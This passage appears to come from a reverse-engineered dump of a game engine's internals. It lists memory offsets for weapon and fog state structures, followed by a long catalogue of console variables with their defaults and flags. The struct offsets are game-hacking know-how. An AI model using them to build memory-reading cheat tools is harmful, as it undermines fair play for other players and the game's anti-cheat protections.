+WeaponPlayerData!0x004b m_realtimeModCmds +WeaponPlayerData!0x0053 m_realtimeModCmdHead +WeaponPlayerData!0x0054 m_realtimeModCmdCount +WeaponPlayerData!0x0058 m_customActivityAttachedModelIndex +WeaponPlayerData!0x005c m_customActivityAttachedModelAttachmentIndex +WeaponPlayerData!0x0060 m_fireRateLerp_startTime +WeaponPlayerData!0x0064 m_fireRateLerp_startFraction +WeaponPlayerData!0x0068 m_fireRateLerp_stopTime +WeaponPlayerData!0x006c m_fireRateLerp_stopFraction +WeaponPlayerData!0x0070 m_chargeAnimIndex +WeaponPlayerData!0x0074 m_chargeAnimIndexOld +WeaponPlayerData!0x0094 m_reloadMilestone +WeaponPlayerData!0x0098 m_rechamberMilestone +WeaponPlayerData!0x009c m_cooldownMilestone +WeaponPlayerData!0x00a0 m_prevSeqWeight +WeaponPlayerData!0x00a4 m_fullReloadStartTime +WeaponPlayerData!0x00a8 m_scriptTime0 +WeaponPlayerData!0x00ac m_scriptFlags0 +WeaponPlayerData!0x00b0 m_scriptInt0 +WeaponPlayerData!0x00b4 m_curZoomFOV +WeaponPlayerData!0x00b8 m_targetZoomFOV +WeaponPlayerData!0x00bc m_zoomFOVLerpTime +WeaponPlayerData!0x00c0 m_zoomFOVLerpEndTime +WeaponPlayerData!0x00c4 m_latestDryfireTime +WeaponPlayerData!0x00c8 m_requestedAttackEndTime +WeaponPlayerData!0x00cc m_currentAltFireAnimIndex +WeaponPlayerData!0x00d0 m_legendaryModelIndex +WeaponPlayerData!0x00d4 m_charmModelIndex +WeaponPlayerData!0x00d8 m_charmAttachment +WeaponPlayerData!0x00dc m_charmScriptIndex +``` +
+
+class fogplayerparamsstate_t + +``` +{ + enable: Bool, + botAlt: Float, + topAlt: Float, + halfDistBot: Float, + halfDistTop: Float, + distOffset: Float, + densityScale: Float, + halfAngleDeg: Float, + distColorStr: Float, + dirColorStr: Float, + HDRColorScale: Float, + minFadeTime: Float, + forceOntoSky: Bool, + distColor: Color32, + dirColor: Color32, + vlParams.color: Vector, + vlParams.distFalloff: Float, + vlParams.intensity: Float, + vlParams.scatter: Float, + vlParams.inShadowScatter: Float, + direction: Vector, + id: Int, +} +``` + +### Offsets + +``` +fogplayerparamsstate_t!0x0000 enable +fogplayerparamsstate_t!0x0004 botAlt +fogplayerparamsstate_t!0x0008 topAlt +fogplayerparamsstate_t!0x000c halfDistBot +fogplayerparamsstate_t!0x0010 halfDistTop +fogplayerparamsstate_t!0x0014 distOffset +fogplayerparamsstate_t!0x0018 densityScale +fogplayerparamsstate_t!0x001c halfAngleDeg +fogplayerparamsstate_t!0x0020 distColorStr +fogplayerparamsstate_t!0x0024 dirColorStr +fogplayerparamsstate_t!0x0028 HDRColorScale +fogplayerparamsstate_t!0x002c minFadeTime +fogplayerparamsstate_t!0x0030 forceOntoSky +fogplayerparamsstate_t!0x0031 distColor +fogplayerparamsstate_t!0x0035 dirColor +fogplayerparamsstate_t!0x003c vlParams.color +fogplayerparamsstate_t!0x0048 vlParams.distFalloff +fogplayerparamsstate_t!0x004c vlParams.intensity +fogplayerparamsstate_t!0x0050 vlParams.scatter +fogplayerparamsstate_t!0x0054 vlParams.inShadowScatter +fogplayerparamsstate_t!0x0058 direction +fogplayerparamsstate_t!0x0064 id +``` +
+ +## ConVars + +
+Allow_auto_Party + + + +default: `"0"` +flags: `0x2` +
+
+BlendBonesMode + + + +default: `"2"` +flags: `0x2002` +
+
+CrossPlay_user_optin + +Our Crossplay opt-in preference + +default: `"1"` +flags: `0x1000200` +
+
+DigiCertGlobalRoot_usable + + + +default: `"1"` +flags: `0x2` +
+
+DoorSoundPrefixDouble + +Sound prefix for door sounds for double doors + +default: `"Door_Single_"` +flags: `0x2` +
+
+DoorSoundPrefixSingle + +Sound prefix for door sounds for single doors + +default: `"Door_Single_"` +flags: `0x2` +
+
+EADP_RTM_DELAY_QUERRY_SCRIPT_SECONDS + + + +default: `"1"` +flags: `0x2` +
+
+EADP_RTM_DELAY_QUERRY_SECONDS + + + +default: `"2"` +flags: `0x2` +
+
+EADP_RTM_Enabled + +Allow RTM code to work! + +default: `"1"` +flags: `0x2` +
+
+EADP_RTM_Productid + + + +default: `"r5"` +flags: `0x2` +
+
+EADP_SEARCH_Enabled + +Allow EADP SEARCH code to work! + +default: `"1"` +flags: `0x2` +
+
+EADP_optin_datachange_throttle + + + +default: `"2"` +flags: `0x2` +min value: `0.1` +max value: `5` +
+
+EADP_search_accountname_count + +The Number of responce from a name search. + +default: `"20"` +flags: `0x2` +
+
+EADP_search_use_starts_with + + + +default: `"1"` +flags: `0x2` +
+
+EADP_server_enviorment + + + +default: `"INT"` +flags: `0x2` +
+
+EAPD_friends_invite_has_platform + + + +default: `"1"` +flags: `0x2` +
+
+ScriptDisallowedToUsePersistenceOnSP + + + +default: `"0"` +flags: `0x2002` +
+
+ScriptSaveAllowed + + + +default: `"1"` +flags: `0x2002` +
+
+StreamMicDisabled + + + +default: `"0"` +flags: `0x2` +
+
+TLS_trust_cert + + + +default: `"0"` +flags: `0x2` +
+
+TalkIsStream + + + +default: `"0"` +flags: `0x80` +
+
+TextDataFromCommunityOnlyInLobby + + + +default: `"1"` +flags: `0x2` +
+
+VoiceDataFromCommunityOnlyInLobby + + + +default: `"1"` +flags: `0x2` +
+
+VoiceNeedsReset + + + +default: `"0"` +flags: `0x2` +
+
+add_to_parent_realms_default + + + +default: `"0"` +flags: `0x2` +
+
+ai_titan_grapple_max_len + + + +default: `"3000"` +flags: `0x2002` +
+
+airslowmo_enabled + +Enables air slowmo + +default: `"0"` +flags: `0x2002` +
+
+airslowmo_enter_time + +Duration it takes to reach full slowmo + +default: `"0.25"` +flags: `0x2002` +
+
+airslowmo_ground_immediate_end + +Controls whether air slowmo fades out after landing or immediately stops + +default: `"0"` +flags: `0x2002` +
+
+airslowmo_leave_time + +Duration it takes to leave full slowmo + +default: `"1.0"` +flags: `0x2002` +
+
+airslowmo_scripted_speed + + + +default: `"0.8"` +flags: `0x2002` +
+
+airslowmo_when_hovering + +Replaces hovering with air slowmo + +default: `"1"` +flags: `0x2002` +
+
+animEvent_debug + +1 = sparse, 2 = verbose + +default: `"0"` +flags: `0x2002` +
+
+animEvent_debugEnt + + + +default: `"0"` +flags: `0x2` +
+
+animEvent_debug_cl + +1 = sparse, 2 = verbose + +default: `"0"` +flags: `0x2` +
+
+anim_estimateVelocity + + + +default: `"0"` +flags: `0x2002` +
+
+anim_playerMovementAngleMargin + + + +default: `"10"` +flags: `0x2002` +
+
+anim_player_ragdoll_fix + + + +default: `"1"` +flags: `0x2002` +
+
+anim_print_transition_overflow + + + +default: `"0"` +flags: `0x2002` +
+
+anim_runGestureAnimEventsToCompletionOnReset_client + + + +default: `"0"` +flags: `0x6000` +
+
+anim_showstate + +Show the (client) animation state for the specified entity (-1 for none). + +default: `"-1"` +flags: `0x6002` +
+
+anim_showstatelog + +1 to output anim_showstate to Msg(). 2 to store in AnimState.log. 3 for both. + +default: `"0"` +flags: `0x6002` +
+
+anim_transitionsequences + +Enables blended transitions between sequences. + +default: `"1"` +flags: `0x2002` +
+
+anim_view_entity_third_person_camera_use_move_parent + + + +default: `"0"` +flags: `0x2002` +
+
+announcement + + + +default: `""` +flags: `0x12` +
+
+announcementImage + + + +default: `""` +flags: `0x12` +
+
+announcementVersion + + + +default: `"0"` +flags: `0x12` +
+
+assetdownloads_desiredState + + + +default: `"1"` +flags: `0x2` +
+
+assetdownloads_enabled + + + +default: `"1"` +flags: `0x2` +
+
+assetdownloads_hostname + + + +default: `"r5-assets.stryder.respawn.com"` +flags: `0x2` +
+
+async_serialize + +Force async reads to serialize for profiling + +default: `"0"` +flags: `0x2` +
+
+automantle_backoff_anim_maxfrac + +Fraction of mantle after which pulling back simply aborts the mantle + +default: `"0.7"` +flags: `0x2002` +
+
+automantle_cooldown + +Minimum time between mantles + +default: `".25"` +flags: `0x2002` +
+
+automantle_dangle_required_space + +Required space under the ledge to dangle + +default: `"60"` +flags: `0x2002` +
+
+automantle_debug + +Debugs player auto-mantle behavior + +default: `"0"` +flags: `0x2002` +
+
+automantle_disable_hang + +disables the hang mantle behavior + +default: `"0"` +flags: `0x2002` +
+
+automantle_enable + +Enables player auto-mantle behavior + +default: `"1"` +flags: `0x2002` +
+
+automantle_forwarddist + +Distance forward to do the ground check from when auto-mantling + +default: `"26.f"` +flags: `0x2002` +
+
+automantle_gun_enable_height + +Eye height above ledge at which gun is reenabled + +default: `"33"` +flags: `0x2002` +
+
+automantle_height_above + +Mantle height above ledge below which the "above" animation is used and above which the "high" animation is used + +default: `"30"` +flags: `0x2002` +
+
+automantle_height_below + +Mantle height above ledge below which the "below" animation is used + +default: `"-10"` +flags: `0x2002` +
+
+automantle_height_level + +Mantle height above ledge below which the "level" animation is used + +default: `"10"` +flags: `0x2002` +
+
+automantle_jumpoff_anim_maxfrac + +Maximum fraction of mantle at which jump off animation is played + +default: `"0.5"` +flags: `0x2002` +
+
+automantle_jumpoff_duration + +Duration of jump off animation when jumping off + +default: `"0.1"` +flags: `0x2002` +
+
+automantle_max_frac + +Fractional amount (0-1) player can move forward without hitting jump. + +default: `"0.5"` +flags: `0x2002` +
+
+automantle_maxangle_push + +Max angle the player can be pushing from the wall normal to auto-mantle + +default: `"50"` +flags: `0x2002` +
+
+automantle_maxangle_view + +Max angle the player can be facing from the wall to auto-mantle + +default: `"50"` +flags: `0x2002` +
+
+automantle_min_frac + +Fractional amount (0-1) player can move backward without hitting jump. + +default: `"0.1"` +flags: `0x2002` +
+
+automantle_mindist + +Minimum forward distance when auto-mantling + +default: `"18.f"` +flags: `0x2002` +
+
+automantle_rest_frac + +Fractional amount (0-1) player will tend toward when no input is given. + +default: `"0.4"` +flags: `0x2002` +
+
+automantle_rest_frac_below + +Replaces rest_frac when using the "below" animation + +default: `"0.3"` +flags: `0x2002` +
+
+automantle_searchdist + +Forward distance within which to look for a ledge to auto-mantle + +default: `"5.f"` +flags: `0x2002` +
+
+automantle_view_correction_speed + +Speed at which view direction is clamped when mantling + +default: `"180"` +flags: `0x4000` +
+
+automantle_view_high_yaw_max + +Max view yaw when mantling with the "high" mantle animation + +default: `"90"` +flags: `0x4000` +
+
+automantle_view_pitch_max + +Max view pitch when mantling + +default: `"35"` +flags: `0x4000` +
+
+automantle_view_pitch_min + +Min view pitch when mantling + +default: `"-80"` +flags: `0x4000` +
+
+automantle_view_yaw_max + +Max view yaw when mantling + +default: `"60"` +flags: `0x4000` +
+
+automantle_wallrun_maxangle_view + +Max angle the player can be facing from the wall to auto-mantle while wall running + +default: `"45"` +flags: `0x2002` +
+
+baseanimatingoverlay_playbackRateThreshold + + + +default: `"0.05"` +flags: `0x2` +
+
+baselines_print + + + +default: `"0"` +flags: `0x2` +
+
+bhit_enable + +Enables bhit commands from the client + +default: `"0"` +flags: `0x2002` +
+
+bhit_reliable + +Makes bhit commands reliable messages + +default: `"1"` +flags: `0x2002` +
+
+bink_materials_enabled + +Allows materials with 'Emissive Uses Video' checked to play video on the material + +default: `"1"` +flags: `0x2` +
+
+bink_preload_videopanel_movies + +Preload Bink movies used by VideoPanel. + +default: `"1"` +flags: `0x2` +
+
+boost_jetwash_prediction_factor + +Factor used to scale player's velocity when finding jetwash trace point. + +default: `"20.0f"` +flags: `0x2002` +
+
+bot_lagOut + +Cause bots to lag out + +default: `"0"` +flags: `0x2` +
+
+budget_animatingEntities + + + +default: `"5000"` +flags: `0x2` +
+
+budget_animationOverlayEntities + + + +default: `"260"` +flags: `0x2` +
+
+budget_combatCharEntities + + + +default: `"200"` +flags: `0x2` +
+
+budget_weaponEntities + + + +default: `"1200"` +flags: `0x2` +
+
+budget_ziplineEntities + + + +default: `"250"` +flags: `0x2` +
+
+bug_reproNum + + + +default: `"0"` +flags: `0x2002` +
+
+build_nonmerged + + + +default: `"1"` +flags: `0x2` +
+
+buildcubemaps_async + + + +default: `"1"` +flags: `0x4000` +
+
+buildcubemaps_bakery + + + +default: `"0"` +flags: `0x2` +
+
+buildcubemaps_index + + + +default: `"-1"` +flags: `0x4000` +
+
+buildcubemaps_pvs_start_early + + + +default: `"1"` +flags: `0x4000` +
+
+buildcubemaps_single_step + + + +default: `"0"` +flags: `0x4000` +
+
+building_cubemaps + + + +default: `"0"` +flags: `0x4000` +
+
+bulletPredictionDebug + + + +default: `"0"` +flags: `0x2002` +
+
+bullet_trace_test_debug + + + +default: `"0"` +flags: `0x2002` +
+
+bullet_trace_test_enable + + + +default: `"0"` +flags: `0x2002` +
+
+c_dropship_ground_fx_dist_interval + + + +default: `"256"` +flags: `0x2` +
+
+c_dropship_ground_fx_time_interval + + + +default: `"0.25"` +flags: `0x2` +
+
+c_dropship_rope_debug + + Used to visualize the drop ship rope interaction. + +default: `"0"` +flags: `0x2` +
+
+c_dropship_rope_events + +Turn on client side drop ship rope interaction detection. + +default: `"1"` +flags: `0x2` +
+
+c_dropship_rope_magnitude + +Used to scale the interaction of a drop ship and a rope. + +default: `"128"` +flags: `0x2` +
+
+c_dropship_rope_range + +Max distance away from a drop ship that a Rope is effected. + +default: `"1024"` +flags: `0x2` +
+
+c_maxdistance + + + +default: `"400"` +flags: `0x2` +
+
+c_maxpitch + + + +default: `"90"` +flags: `0x2` +
+
+c_maxyaw + + + +default: `"135"` +flags: `0x2` +
+
+c_mindistance + + + +default: `"30"` +flags: `0x2` +
+
+c_minpitch + + + +default: `"0"` +flags: `0x2` +
+
+c_minyaw + + + +default: `"-135"` +flags: `0x2` +
+
+c_orthoheight + + + +default: `"100"` +flags: `0x2` +
+
+c_orthowidth + + + +default: `"100"` +flags: `0x2` +
+
+c_thirdpersonshoulderaimdistADS_110 + + + +default: `"35.0"` +flags: `0x2` +
+
+c_thirdpersonshoulderaimdistADS_70 + + + +default: `"50.0"` +flags: `0x2` +
+
+c_thirdpersonshoulderaimdistADS_90 + + + +default: `"40.0"` +flags: `0x2` +
+
+c_thirdpersonshoulderaimdist_110 + + + +default: `"60.0"` +flags: `0x2` +
+
+c_thirdpersonshoulderaimdist_70 + + + +default: `"100.0"` +flags: `0x2` +
+
+c_thirdpersonshoulderaimdist_90 + + + +default: `"75.0"` +flags: `0x2` +
+
+c_thirdpersonshoulderdist + + + +default: `"0.0"` +flags: `0x2` +
+
+c_thirdpersonshouldergetsviewpunch + + + +default: `"1"` +flags: `0x2` +
+
+c_thirdpersonshoulderheight + + + +default: `"0.0"` +flags: `0x2` +
+
+c_thirdpersonshoulderoffset + + + +default: `"17.0"` +flags: `0x2` +
+
+c_threadedAnimPostData + + + +default: `"1"` +flags: `0x2` +
+
+cam_collision + +When in thirdperson and cam_collision is set to 1, an attempt is made to keep the camera from passing though walls. + +default: `"1"` +flags: `0x2` +
+
+cam_idealdelta + +Controls the speed when matching offset to ideal angles in thirdperson view + +default: `"4.0"` +flags: `0x2` +
+
+cam_idealdist + + + +default: `"150"` +flags: `0x2` +
+
+cam_ideallag + +Amount of lag used when matching offset to ideal angles in thirdperson view + +default: `"4.0"` +flags: `0x2` +
+
+cam_idealpitch + + + +default: `"0"` +flags: `0x2` +
+
+cam_idealyaw + + + +default: `"0"` +flags: `0x2` +
+
+cam_pitchLock_feetRelative + + + +default: `"0"` +flags: `0x2` +
+
+cam_pitchlock_on + + + +default: `"0"` +flags: `0x2` +
+
+cam_pitchlock_period + + + +default: `"1.0"` +flags: `0x2` +
+
+cam_pitchlock_phase + + + +default: `"0.0"` +flags: `0x2` +
+
+cam_pitchlock_pitchBase + + + +default: `"0.0"` +flags: `0x2` +
+
+cam_pitchlock_pitchRange + + + +default: `"0.0"` +flags: `0x2` +
+
+cam_pitchlock_pitchWiggleRoom + + + +default: `"0.0"` +flags: `0x2` +
+
+cam_player_viewheight_scale + + + +default: `"1.0"` +flags: `0x2` +
+
+cam_showangles + +When in thirdperson, print viewangles/idealangles/cameraoffsets to the console. + +default: `"0"` +flags: `0x2` +
+
+cc_captiontrace + +Show missing closecaptions (0 = no, 1 = devconsole, 2 = show in hud) + +default: `"1"` +flags: `0x2` +
+
+cc_global_norepeat + +How often a caption can repeat, unless overriden by norepeat. (or 0) + +default: `"5"` +flags: `0x2` +
+
+cc_linger_time + +Close caption linger time in seconds. + +default: `"1.0"` +flags: `0x80` +
+
+cc_max_duration + +The max duration in seconds for a closed caption if event doesn't stop playing. + +default: `"30.0"` +flags: `0x2` +
+
+cc_minvisibleitems + +Minimum number of caption items to show. + +default: `"1"` +flags: `0x2` +
+
+cc_predisplay_time + +Close caption delay in seconds before showing caption. + +default: `"0.25"` +flags: `0x80` +
+
+cc_rui + +Use RUI to draw closecaption text. + +default: `"1"` +flags: `0x2` +
+
+cc_text_size + +Changes the size of subtitles and closed captions text. 0 = normal, 1 = large, 2 = huge. + +default: `"0"` +flags: `0x1000000` +
+
+cc_timeshift_norepeat + +How often a caption can repeat, unless overriden by norepeat. (timeshift only) (or 0) + +default: `"5"` +flags: `0x2` +
+
+chasecam_distanceMax_override + + + +default: `"0"` +flags: `0x2` +
+
+chat_rules_log_details + + + +default: `"0"` +flags: `0x2` +
+
+chatroom_console_ptt + + + +default: `"0"` +flags: `0x2` +
+
+chatroom_debug + + + +default: `"0"` +flags: `0x2` +
+
+chatroom_doRealNameLookups + + + +default: `"0"` +flags: `0x2` +
+
+chatroom_min_status_send_interval + + + +default: `"16"` +flags: `0x2` +
+
+chatroom_nameLength + + + +default: `"-1"` +flags: `0x2` +
+
+chatroom_namePaddingX + + + +default: `"12"` +flags: `0x2` +
+
+chatroom_nameWidth + + + +default: `"-1"` +flags: `0x2` +
+
+chatroom_onlyWhenActive + + + +default: `"1"` +flags: `0x2` +
+
+chatroom_sendServerMutes + + + +default: `"0"` +flags: `0x2` +
+
+chatroom_useSlopSpace + + + +default: `"0"` +flags: `0x2` +
+
+chatroom_voiceMode + + + +default: `"0"` +flags: `0x2` +
+
+chatroom_voiceMode + + + +default: `"0"` +flags: `0x2` +
+
+cheap_captions_fadetime + + + +default: `"0.5"` +flags: `0x2` +
+
+cheap_captions_test + + + +default: `"0"` +flags: `0x2` +
+
+chroma_enable + + + +default: `"1"` +flags: `0x80` +
+
+cl_NotifyAllLevelAssetsLoaded_endframe + + + +default: `"1"` +flags: `0x2` +
+
+cl_RunClientConnectScripts_Before_ProcessOnDataChangedEvents + + + +default: `"1"` +flags: `0x2` +
+
+cl_SetupAllBones + + + +default: `"0"` +flags: `0x2` +
+
+cl_ShowBoneSetupEnts + +Show which entities are having their bones setup each frame. + +default: `"0"` +flags: `0x2` +
+
+cl_adjustTimeEntsPerJob + + + +default: `"10"` +flags: `0x2` +
+
+cl_aggregate_particles + + + +default: `"1"` +flags: `0x2` +
+
+cl_allowABSCalculationDuringSnapshotScriptCalls + + + +default: `"1"` +flags: `0x2` +
+
+cl_allowABSDuringSnapshotScriptCalls + + + +default: `"1"` +flags: `0x2` +
+
+cl_allowAnimsToInterpolateBackward + + + +default: `"0"` +flags: `0x2` +
+
+cl_always_draw_3p_player + +Always draw the 3p player model, even when in first-person view + +default: `"0"` +flags: `0x2` +
+
+cl_always_ragdoll_radius + +Always create client ragdoll if within this distance to viewer + +default: `"500"` +flags: `0x2` +
+
+cl_anglespeedkey + + + +default: `"0.67"` +flags: `0x2` +
+
+cl_anim_blend_transition_dist + + + +default: `"2500"` +flags: `0x2` +
+
+cl_anim_detail_dist + + + +default: `"1500"` +flags: `0x2` +
+
+cl_anim_face_dist + + + +default: `"250"` +flags: `0x2` +
+
+cl_anim_sequence_transition_full_weight_optimization + + + +default: `"0"` +flags: `0x2` +
+
+cl_anim_sounds_seek + + + +default: `"1"` +flags: `0xa` +
+
+cl_approx_footstep_origin + + + +default: `"1"` +flags: `0x2` +
+
+cl_approx_tracer_origin + + + +default: `"1"` +flags: `0x2` +
+
+cl_async_bone_setup + + + +default: `"1"` +flags: `0x2` +
+
+cl_base_entity_effect_lock + + + +default: `"0"` +flags: `0x2` +
+
+cl_bones_incremental_blend + +Don't reblend bones which we don't need to in SetupBones. + +default: `"0"` +flags: `0x2` +
+
+cl_bones_incremental_transform + +Don't retransform bones which we don't need to in SetupBones. + +default: `"1"` +flags: `0x2` +
+
+cl_bones_oldhack + +Redo all previously transformed bones in SetupBones--old 'hack'. + +default: `"0"` +flags: `0x2` +
+
+cl_bounds_show_errors + + + +default: `"0"` +flags: `0x2` +
+
+cl_burninggibs + +A burning player that gibs has burning gibs. + +default: `"0"` +flags: `0x2` +
+
+cl_clock_correction + +Enable/disable clock correction on the client. + +default: `"1"` +flags: `0x4000` +
+
+cl_clock_correction_ahead_correct_interval + +Minimum interval over which the clock will try to correct to ideal when it's ahead + +default: `"20"` +flags: `0x4000` +
+
+cl_clock_correction_behind_correct_interval + +Interval over which the clock will try to correct to ideal when it's behind + +default: `"200"` +flags: `0x4000` +
+
+cl_clock_correction_force_server_tick + +Force clock correction to match the server tick + this offset (-999 disables it). + +default: `"999"` +flags: `0x4000` +
+
+cl_cmdbackup + +Number of redundant usercmds to send, to cover client->server packet loss + +default: `"2"` +flags: `0x2` +
+
+cl_cmdrate + +Max number of command packets sent to server per second + +default: `"60"` +flags: `0x2` +
+
+cl_configversion + +Configuration layout version. + +default: `"1"` +flags: `0x2` +
+
+cl_configversion_dummy + +Configuration layout version dummy. + +default: `"0"` +flags: `0x2` +
+
+cl_cull_weapon_fx + + + +default: `"1"` +flags: `0x2` +
+
+cl_dataBlockFragmentPL + + + +default: `"0.0"` +flags: `0x2` +min value: `0` +max value: `1` +
+
+cl_deathhints_enabled + + + +default: `"1"` +flags: `0x1000000` +
+
+cl_debugClientEntities + + + +default: `"0"` +flags: `0x2` +
+
+cl_debug_deferred_trace + + + +default: `"0"` +flags: `0x2` +
+
+cl_debug_deferred_trace_overlay + + + +default: `"0"` +flags: `0x2` +
+
+cl_debug_model_fx_sounds + + + +default: `"0"` +flags: `0x2` +
+
+cl_decal_alwayswhite + +Force FX decals to white (1), or white full alpha (2). + +default: `"1"` +flags: `0x2` +
+
+cl_decal_backoff + +Amount to back off FX decal trace by. + +default: `"4"` +flags: `0x2` +
+
+cl_deferred_effects + + + +default: `"1"` +flags: `0x2` +
+
+cl_deferred_trace_normal_priority + + + +default: `"1"` +flags: `0x2` +
+
+cl_demoviewoverride + +Override view during demo playback + +default: `"0"` +flags: `0x2` +
+
+cl_disable_ragdolls + + + +default: `"0"` +flags: `0x4000` +
+
+cl_disable_splitscreen_cpu_level_cfgs_in_pip + + + +default: `"1"` +flags: `0x2` +
+
+cl_disconnectOnTooManySnapshotFrames + +Disconnect when the client gets too many snapshot messages from the server without the server getting any messages from the client. + +default: `"0"` +flags: `0x2` +
+
+cl_doNetworkAsserts + +Turn off to disable some client asserts that fail rarely, presumably due to network bugs. + +default: `"0"` +flags: `0x2` +
+
+cl_doRecreateEnts + + + +default: `"1"` +flags: `0x2` +
+
+cl_draw_player_model + + + +default: `"1"` +flags: `0x2` +
+
+cl_drawhud + +Enable the rendering of the hud + +default: `"1"` +flags: `0x40004000` +
+
+cl_drawmonitors + + + +default: `"1"` +flags: `0x2` +
+
+cl_ejectbrass + + + +default: `"1"` +flags: `0x2` +
+
+cl_enable_remote_splitscreen + +Allows viewing of nonlocal players in a split screen fashion + +default: `"0"` +flags: `0x2` +
+
+cl_entCreateDeleteDebug + +If true, print out when we create or delete an entity on the client + +default: `"0"` +flags: `0x2` +
+
+cl_events_ignore_invalidate + + + +default: `"1"` +flags: `0x2` +
+
+cl_failremoteconnections + +Force connection attempts to time out + +default: `"0"` +flags: `0x2` +
+
+cl_fasttempentcollision + + + +default: `"5"` +flags: `0x2` +
+
+cl_flip_vis_bits + + + +default: `"0"` +flags: `0x2` +
+
+cl_flushentitypacket + +For debugging. Force the engine to flush an entity packet. + +default: `"0"` +flags: `0x4000` +
+
+cl_footstep_event_max_dist + + + +default: `"4000"` +flags: `0x2` +
+
+cl_footstep_event_max_dist_titan + + + +default: `"4000"` +flags: `0x2` +
+
+cl_forceAdjustTime + + + +default: `"0"` +flags: `0x2` +
+
+cl_fovScale + + + +default: `"1.27216005"` +flags: `0x41000200` +min value: `1` +max value: `1.7` +
+
+cl_gib_allow + + + +default: `"1"` +flags: `0x40000000` +
+
+cl_gib_attack_dir_scale + + + +default: `"1.0"` +flags: `0x2` +
+
+cl_gib_lifetime + + + +default: `"3"` +flags: `0x4000` +
+
+cl_idealpitchscale + +0 to turn off. 0.8 is a good starting value + +default: `"0"` +flags: `0x2` +
+
+cl_ignorepackets + +Force client to ignore packets (for debugging). + +default: `"0"` +flags: `0x4000` +
+
+cl_interp_all + +Disable interpolation list optimizations. + +default: `"0"` +flags: `0x2` +
+
+cl_interpolate + +Interpolate entities on the client. + +default: `"1.0"` +flags: `0x2` +
+
+cl_interpolate + +Interpolate entities on the client. + +default: `"1.0f"` +flags: `0x2` +
+
+cl_interpolateSoAllAnimsLoop + + + +default: `"1"` +flags: `0x2` +
+
+cl_interpolation_before_prediction + +Interpolate entities before doing prediction + +default: `"1"` +flags: `0x2` +
+
+cl_isUnderAge + + + +default: `"0"` +flags: `0x80000200` +
+
+cl_is_softened_locale + + + +default: `"0"` +flags: `0x80000` +
+
+cl_jiggle_bone_debug + +Display physics-based 'jiggle bone' debugging information + +default: `"0"` +flags: `0x4000` +
+
+cl_jiggle_bone_debug_pitch_constraints + +Display physics-based 'jiggle bone' debugging information + +default: `"0"` +flags: `0x4000` +
+
+cl_jiggle_bone_debug_yaw_constraints + +Display physics-based 'jiggle bone' debugging information + +default: `"0"` +flags: `0x4000` +
+
+cl_jiggle_bone_invert + + + +default: `"0"` +flags: `0x4000` +
+
+cl_jiggle_bone_sanity + +Prevent jiggle bones from pointing directly away from their target in case of numerical instability. + +default: `"0"` +flags: `0x2` +
+
+cl_keepPersistentDataOnDisconnect + + + +default: `"0"` +flags: `0x2` +
+
+cl_lagcompensation + +Perform server side lag compensation of weapon firing events. + +default: `"1"` +flags: `0x200` +
+
+cl_language + +Language + +default: `"english"` +flags: `0x2` +
+
+cl_leafsystemvis + + + +default: `"0"` +flags: `0x4000` +
+
+cl_lerpIfChildrenLerp + + + +default: `"1"` +flags: `0x2` +
+
+cl_loadBspFromServerInfo + + + +default: `"0"` +flags: `0x2` +
+
+cl_loadPostProcessShadersEarly + + + +default: `"0"` +flags: `0x2` +
+
+cl_loadStaticPropsInJob + + + +default: `"0"` +flags: `0x2` +
+
+cl_matchmaking_timeout + +Total time allowed for the client to resend the 'connect' attempt when matchmaking + +default: `"1"` +flags: `0x80000` +min value: `0.5` +max value: `20000` +
+
+cl_model_fx_gib_cull_front_dist + + + +default: `"3000"` +flags: `0x2` +
+
+cl_model_fx_gib_cull_radius + + + +default: `"1000"` +flags: `0x2` +
+
+cl_mouseenable + + + +default: `"1"` +flags: `0x2` +
+
+cl_move_use_dt + +Use the actual delta time for motion instead some super complicated system based on the server frame rate. + +default: `"1"` +flags: `0x2` +
+
+cl_noTimeoutLocalHost + + + +default: `"1"` +flags: `0x2` +
+
+cl_overrideEventTimes + + + +default: `"0"` +flags: `0x2` +
+
+cl_parallelParticlePreDrawWork + + + +default: `"1"` +flags: `0x2` +
+
+cl_parallel_clientside_animations + + + +default: `"1"` +flags: `0x2` +
+
+cl_particle_batch_mode + + + +default: `"1"` +flags: `0x2` +
+
+cl_particle_fallback_base + +Base for falling back to cheaper effects under load. + +default: `"0"` +flags: `0x40000000` +
+
+cl_particle_fallback_multiplier + +Multiplier for falling back to cheaper effects under load. + +default: `"1"` +flags: `0x40000000` +
+
+cl_particle_limiter_display_killed + +Display a red box around killed fx. + +default: `"0"` +flags: `0x4000` +
+
+cl_particle_limiter_hide_killable + +Hide fx than could be killed if over limit. + +default: `"0"` +flags: `0x2002` +
+
+cl_particle_limiter_max_particle_count + +Limit the total number of active particles. 0 to not limit. + +default: `"10000"` +flags: `0x4000` +
+
+cl_particle_limiter_max_system_count + +Limit the total number of active particle systems. 0 to not limit. + +default: `"0"` +flags: `0x4000` +
+
+cl_particle_limiter_min_kill_distance + +Only kill fx that are further than this distance from the player. + +default: `"4000"` +flags: `0x4000` +
+
+cl_particle_limiter_overlay + +Display particle limiter infos. + +default: `"0"` +flags: `0x4000` +
+
+cl_particle_max_count + + + +default: `"0"` +flags: `0x2` +
+
+cl_particle_sim_fallback_base_multiplier + +How aggressive the switch to fallbacks will be depending on how far over the cl_particle_sim_fallback_threshold_ms the sim time is. Higher numbers are more aggressive. + +default: `"5"` +flags: `0x2` +
+
+cl_particle_sim_fallback_threshold_ms + +Amount of simulation time that can elapse before new systems start falling back to cheaper versions + +default: `"6.0"` +flags: `0x2` +
+
+cl_particle_snoozetime + +Particle snooze time in seconds (0 is off) + +default: `"0.166667"` +flags: `0x4000` +
+
+cl_particles_show_bbox + + + +default: `"0"` +flags: `0x4000` +
+
+cl_particles_show_bbox_name + +show the bounding box of only particles with this name + +default: `""` +flags: `0x2` +
+
+cl_particles_show_controlpoints + +1 to show parent effects, 2 shows all children effects too + +default: `"0"` +flags: `0x4000` +
+
+cl_pclass + +Dump entity by prediction classname. + +default: `""` +flags: `0x4000` +
+
+cl_pdump + +Dump info about this entity to screen. + +default: `"-1"` +flags: `0x4000` +
+
+cl_phys_maxticks + +Sets the max number of physics ticks allowed for client-side physics (ragdolls) + +default: `"3"` +flags: `0x2` +
+
+cl_phys_show_active + + + +default: `"0"` +flags: `0x4000` +
+
+cl_phys_timescale + +Sets the scale of time for client-side physics (ragdolls) + +default: `"1.0"` +flags: `0x4000` +
+
+cl_physics_invalidate_ents + + + +default: `"0"` +flags: `0x2` +
+
+cl_physics_maxvelocity + +Max velocity of a vphysics object on the client + +default: `"4000.0"` +flags: `0x4000` +
+
+cl_physicsshadowupdate_render + + + +default: `"0"` +flags: `0x2` +
+
